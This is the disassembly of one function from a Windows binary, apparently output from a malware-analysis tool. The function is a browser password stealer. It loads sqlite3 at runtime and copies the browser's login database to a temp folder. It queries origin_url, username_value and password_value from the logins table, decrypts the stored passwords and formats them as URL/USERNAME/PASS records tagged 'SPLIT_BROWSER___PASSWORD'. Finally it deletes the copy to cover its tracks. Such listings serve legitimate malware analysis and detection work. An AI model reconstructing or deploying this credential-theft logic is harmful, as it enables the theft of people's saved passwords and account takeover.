Function at 0x140003d20
Capabilities:
Check if file exists
Copy file
Create directory
Delete directory
Delete file
Get common file path
Get file attributes
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x508]
sub rsp, 0x608
mov rdi, rdx
mov r14, rcx
add rcx, 0x90
cmp qword [rcx + 0x18], 8
jb 0x140003d57
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
lea rdx, str.sqlite3_open
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x58], rax
lea rdx, str.sqlite3_prepare_v2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x48], rax
lea rdx, str.sqlite3_step
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov qword [rbp], rax
lea rdx, str.sqlite3_column_text
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x18], rax
lea rdx, str.sqlite3_column_blob
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x10], rax
lea rdx, str.sqlite3_column_int
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.sqlite3_column_bytes
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 8], rax
lea rdx, str.sqlite3_close
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov qword [rbp + 8], rax
lea rdx, str.sqlite3_free
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.sqlite3_finalize
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x568], rax
mov rdx, qword [rdi + 0x10]
movabs rsi, 0x7ffffffffffffffe
mov rcx, rsi
sub rcx, rdx
cmp rcx, 0xb
jb 0x140004490
mov r9, rdi
cmp qword [rdi + 0x18], 8
jb 0x140003e54
mov r9, qword [rdi]
mov qword [rsp + 0x30], recv
lea rax, [0x14003f6c8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x30]
call fcn.140006f04
nop
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 8
cmovae rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140004170
test al, 0x10
jne 0x140004170
lea rcx, [rbp - 0x78]
call fcn.140001afc
mov rbx, rax
lea rdx, [rbp + 0x300]
mov ecx, 0xff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor r13d, r13d
mov qword [rsp + 0x68], r13
movdqa xmm0, xmmword [0x1400409a0]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], r13w
lea rdx, [rbp + 0x300]
lea rcx, [rsp + 0x68]
call fcn.1400067f4
nop
mov r8, rbx
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x48]
call fcn.140006ad8
nop
lea rcx, [rsp + 0x68]
call fcn.140006790
nop
lea rcx, [rbp - 0x78]
call fcn.140006790
mov qword [rbp + 0x10], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x10]
call fcn.140006870
nop
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0xe0]
call fcn.140001afc
mov rbx, rax
mov rcx, qword [rsp + 0x58]
sub rsi, rcx
cmp rsi, 1
jb 0x14000448a
lea r9, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae r9, qword [rsp + 0x48]
mov qword [rsp + 0x30], 1
lea rax, [0x14003f3e8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x68]
call fcn.140006f04
nop
mov r8, rbx
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x78]
call fcn.140006ad8
mov rbx, rax
lea rax, [rsp + 0x48]
cmp rax, rbx
je 0x140003fe4
lea rcx, [rsp + 0x48]
call fcn.140006790
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 7
mov word [rbx], r13w
lea rcx, [rbp - 0x78]
call fcn.140006790
nop
lea rcx, [rsp + 0x68]
call fcn.140006790
nop
lea rcx, [rbp + 0xe0]
call fcn.140006790
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rdx, qword [rsp + 0x48]
mov ebx, 0x100
mov r8d, ebx
lea rcx, [rbp + 0x100]
call fcn.140015e3c
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x90]
call fcn.1400010d4
nop
mov rdx, rdi
cmp qword [rdi + 0x18], 8
jb 0x14000404b
mov rdx, qword [rdi]
mov r8, rbx
lea rcx, [rbp + 0x200]
call fcn.140015e3c
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x80]
call fcn.1400010d4
nop
lea rax, [rbp - 0x78]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], r13
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x78]
call fcn.140006870
nop
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.140006870
nop
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 8
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 8
cmovae rcx, qword [rsp + 0x68]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rsp + 0x68]
call fcn.140006790
lea rcx, [rbp - 0x78]
call fcn.140006790
lea rdx, [rbp + 0x560]
mov r13, qword [rbp + 0x90]
mov rcx, r13
call qword [rbp - 0x58]
test eax, eax
jne 0x140004417
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x550]
or r8d, 0xffffffff
lea rdx, str.SELECT_origin_url__username_value__password_value_FROM_logins
mov rcx, qword [rbp + 0x560]
call qword [rbp - 0x48]
test eax, eax
je 0x140004198
mov rcx, qword [rbp + 0x550]
call qword [rbp + 0x568]
mov rcx, qword [rbp + 0x560]
call r12
nop
mov rcx, qword [rbp + 0x80]
call fcn.14000f0f0
nop
mov rcx, r13
call fcn.14000f0f0
nop
lea rcx, [rbp + 0x10]
call fcn.140006790
nop
lea rcx, [rsp + 0x48]
call fcn.140006790
nop
lea rcx, [rbp + 0x30]
call fcn.140006790
nop
mov rcx, rdi
call fcn.140006790
xor eax, eax
add rsp, 0x608
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea r12, [r14 + 0x20]
lea r8, str.SPLIT_BROWSER___PASSWORD
lea rdx, [rbp - 0x28]
mov rcx, r12
call fcn.1400013a8
mov rdx, rax
mov rcx, r12
call fcn.1400014b4
mov rcx, qword [rbp + 0x550]
call r15
cmp eax, 0x64
jne 0x140004400
xor edx, edx
mov rcx, qword [rbp + 0x550]
mov rbx, qword [rbp - 0x18]
call rbx
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.1400010d4
nop
mov edx, 1
mov rcx, qword [rbp + 0x550]
call rbx
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.1400010d4
nop
mov edx, 2
mov rcx, qword [rbp + 0x550]
call qword [rbp - 0x10]
mov r15, rax
mov rsi, qword [rbp - 0x48]
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
mov rbx, qword [rbp - 0x58]
test eax, eax
jne 0x140004245
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140004245
test r15, r15
je 0x1400043ef
cmp dword [rbp - 0x40], 0
je 0x1400043cf
cmp dword [rbp - 0x50], 0
je 0x1400043cf
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1400043cf
mov edx, 2
mov rcx, qword [rbp + 0x550]
call qword [rbp - 8]
mov dword [r14 + 0xc0], eax
and qword [rbp - 0x38], 0
and dword [rbp - 0x30], 0
lea r8, [rbp - 0x38]
mov rdx, r15
mov rcx, r14
call fcn.140003158
test al, al
je 0x1400043c5
lea rdx, str.URL:
lea rcx, [rbp - 0x28]
call fcn.1400010d4
nop
lea rdx, str._nUSERNAME:
lea rcx, [rbp + 0x70]
call fcn.1400010d4
nop
lea rdx, str._nPASS:
lea rcx, [rbp + 0x60]
call fcn.1400010d4
nop
lea rdx, [0x14003f760]
lea rcx, [rbp + 0x50]
call fcn.1400010d4
nop
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0xa0]
call fcn.140001184
mov rdx, rax
mov rcx, r12
call fcn.140001318
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0xb0]
call fcn.140001184
mov rdx, rax
mov rcx, r12
call fcn.140001318
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0xc0]
call fcn.140001184
mov rdx, rax
mov rcx, r12
call fcn.140001318
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0xd0]
call fcn.140001184
mov rdx, rax
mov rcx, r12
call fcn.140001318
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0xe0]
call fcn.140001184
mov rdx, rax
mov rcx, r12
call fcn.140001318
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x78]
call fcn.140001184
mov rdx, rax
mov rcx, r12
call fcn.140001318
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x68]
call fcn.140001184
mov rdx, rax
mov rcx, r12
call fcn.140001318
nop
mov rcx, qword [rbp + 0x50]
call fcn.14000f0f0
nop
mov rcx, qword [rbp + 0x60]
call fcn.14000f0f0
nop
mov rcx, qword [rbp + 0x70]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x28]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x38]
call fcn.14000f0f0
nop
mov rcx, rbx
call fcn.14000f0f0
nop
mov rcx, rsi
call fcn.14000f0f0
mov rcx, qword [rbp + 0x550]
call qword [rbp]
jmp 0x1400041c4
mov rcx, rbx
call fcn.14000f0f0
nop
mov rcx, rsi
call fcn.14000f0f0
mov rcx, qword [rbp + 0x550]
call qword [rbp + 0x568]
mov rcx, qword [rbp + 0x560]
call qword [rbp + 8]
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
nop
mov rcx, qword [rbp + 0x80]
call fcn.14000f0f0
nop
mov rcx, r13
call fcn.14000f0f0
nop
lea rcx, [rbp + 0x10]
call fcn.140006790
nop
lea rcx, [rsp + 0x48]
call fcn.140006790
nop
lea rcx, [rbp + 0x30]
call fcn.140006790
nop
mov rcx, rdi
call fcn.140006790
mov eax, 1
jmp 0x140004184
call fcn.140001740
nop
call fcn.140001740
int3